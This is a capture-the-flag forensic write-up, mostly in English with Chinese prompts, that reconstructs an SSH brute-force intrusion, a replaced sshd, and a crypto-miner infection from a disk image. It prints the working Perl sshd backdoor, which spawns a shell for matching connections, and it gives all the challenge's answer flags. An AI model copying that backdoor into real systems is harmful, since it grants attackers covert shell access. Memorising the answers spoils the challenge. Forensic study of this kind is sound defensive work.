Co-authors: @eki
铛，铛，铛，洞穴里传来铁镐敲击石头的声音。
回答以下问题，每个问题都是一个单独的flag：
攻击者的ip地址
攻击者共进行多少次ssh口令爆破失败？
后门文件路径的绝对路径
攻击者用户分发恶意文件的域名（注意系统时区）
挖矿病毒所属的家族（全小写）
注意:每一小问的答案提交的时候需要带上flag{*} 比如答案whoami 需要提交flag{whoami}。答对所有小问后，才会得到该题的 flag。
题目附件链接1：https://pan.baidu.com/s/1HLkthjGvjnRT34hm_Ifkew?pwd=6b9b
题目附件链接2（SilentMiner.7z+BadEmail.zip）：https://adnav-data.obs.myhuaweicloud.com:443/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D
A disk image is provided, we mount the ext partition of it:
$ sudo losetup -P -f disk.dd
$ sudo mount /dev/loop0p5 mnt
To solve the first question 攻击者的ip地址, we look for ssh authentication log:
$ cat var/log/auth.log | grep "Failed password" | head
Aug 10 09:57:10 lee-virtual-machine sshd[83179]: Failed password for lee from 192.168.145.131 port 36554 ssh2
Aug 10 09:57:10 lee-virtual-machine sshd[83180]: Failed password for lee from 192.168.145.131 port 36558 ssh2
Aug 10 09:57:10 lee-virtual-machine sshd[83177]: Failed password for lee from 192.168.145.131 port 36548 ssh2
Aug 10 09:57:10 lee-virtual-machine sshd[83178]: Failed password for lee from 192.168.145.131 port 36546 ssh2
Aug 10 09:57:13 lee-virtual-machine sshd[83178]: Failed password for lee from 192.168.145.131 port 36546 ssh2
Aug 10 09:57:13 lee-virtual-machine sshd[83179]: Failed password for lee from 192.168.145.131 port 36554 ssh2
Aug 10 09:57:13 lee-virtual-machine sshd[83177]: Failed password for lee from 192.168.145.131 port 36548 ssh2
Aug 10 09:57:13 lee-virtual-machine sshd[83180]: Failed password for lee from 192.168.145.131 port 36558 ssh2
Aug 10 09:57:16 lee-virtual-machine sshd[83178]: Failed password for lee from 192.168.145.131 port 36546 ssh2
Aug 10 09:57:16 lee-virtual-machine sshd[83179]: Failed password for lee from 192.168.145.131 port 36554 ssh2
So it is 192.168.145.131. To count the number of failed attempts:
$ cat var/log/auth.log | grep "Failed password" | wc -l
257
However, it is incorrect, 258 is the answer after some trial and error. Maybe some of these are considered as well:
Aug 10 09:57:08 lee-virtual-machine sshd[83175]: Received disconnect from 192.168.145.131 port 36542:11: Bye Bye [preauth]
Aug 10 09:57:08 lee-virtual-machine sshd[83175]: Disconnected from authenticating user lee 192.168.145.131 port 36542 [preauth]
Aug 10 10:00:44 lee-virtual-machine sshd[83929]: Invalid user kali from 192.168.145.131 port 47584
The third part is to find the backdoor. The user used sudo:
Aug 10 10:01:53 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/home/lee ; USER=root ; COMMAND=/usr/bin/tee -a sshd
Aug 10 10:01:53 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
Aug 10 10:01:53 lee-virtual-machine sudo: pam_unix(sudo:session): session closed for user root
Aug 10 10:03:26 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/home/lee ; USER=root ; COMMAND=/usr/bin/rm sshd
Aug 10 10:03:26 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
Aug 10 10:03:26 lee-virtual-machine sudo: pam_unix(sudo:session): session closed for user root
Aug 10 10:04:00 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/mv sshd ../bin
Aug 10 10:04:00 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
Aug 10 10:04:00 lee-virtual-machine sudo: pam_unix(sudo:session): session closed for user root
Aug 10 10:04:07 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/tee sshd
Aug 10 10:04:07 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
Aug 10 10:04:07 lee-virtual-machine sudo: pam_unix(sudo:session): session closed for user root
Aug 10 10:04:12 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/tee -a sshd
Aug 10 10:04:12 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
Aug 10 10:04:12 lee-virtual-machine sudo: pam_unix(sudo:session): session closed for user root
Aug 10 10:04:18 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/tee -a sshd
Aug 10 10:04:18 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
Aug 10 10:04:18 lee-virtual-machine sudo: pam_unix(sudo:session): session closed for user root
Aug 10 10:04:23 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/chmod u+x sshd
Aug 10 10:04:23 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
Aug 10 10:04:23 lee-virtual-machine sudo: pam_unix(sudo:session): session closed for user root
Aug 10 10:04:28 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/sbin/service sshd restart
Aug 10 10:04:28 lee-virtual-machine sudo: pam_unix(sudo:session): session opened for user root by lee(uid=0)
So we reach for /usr/sbin/sshd, it is indeed a backdoor:
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);
exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,
To find the domain used in attack, @eki suggests to look for dnsmasq logs:
$ cat var/log/dnsmasq.log | grep reply | awk "{ print \$6;}" | sort | uniq > ../hostnames
Skimming through the hostnames, we find something uncommon: tombaky.com. It is the attacker’s domain.
So the last thing is to find the name of the miner. @eki asked for AI:
通过 SSH 传播的挖矿家族
常见的挖矿木马会利用 SSH 弱口令/暴力破解 或 密钥窃取 在内网横向传播。比较典型的家族有：
Kinsing
利用 SSH 弱口令传播，挖矿 + 持久化 + 云环境逃逸。
Plebminer / MinerD
通过 SSH 暴力破解横向移动，部署 XMRig 挖门罗。
Kaiji
针对 IoT/Linux 设备，使用 Go 编写，通过 SSH 暴力破解入侵，执行 DDoS + 挖矿。
WatchDog
通过已知漏洞和弱口令传播，主要部署门罗币挖矿程序。
Hakai / Tsunami 变种
具备蠕虫特性，通过 SSH 横向传播，部分变种也会植入挖矿程序。
XorDDoS / BillGates 木马
原本是 DDoS 木马，有些样本也集成了挖矿。
这些家族的共同点：一旦攻陷，会替换系统文件（包括 sshd）、关闭竞争对手挖矿进程、下载并运行 XMRig 或改造版矿工。
After some attempts, the correct one is kinsing. Therefore, the whole flag is:
flag{192.168.145.131}flag{258}flag{/usr/sbin/sshd}flag{tombaky.com}flag{kinsing}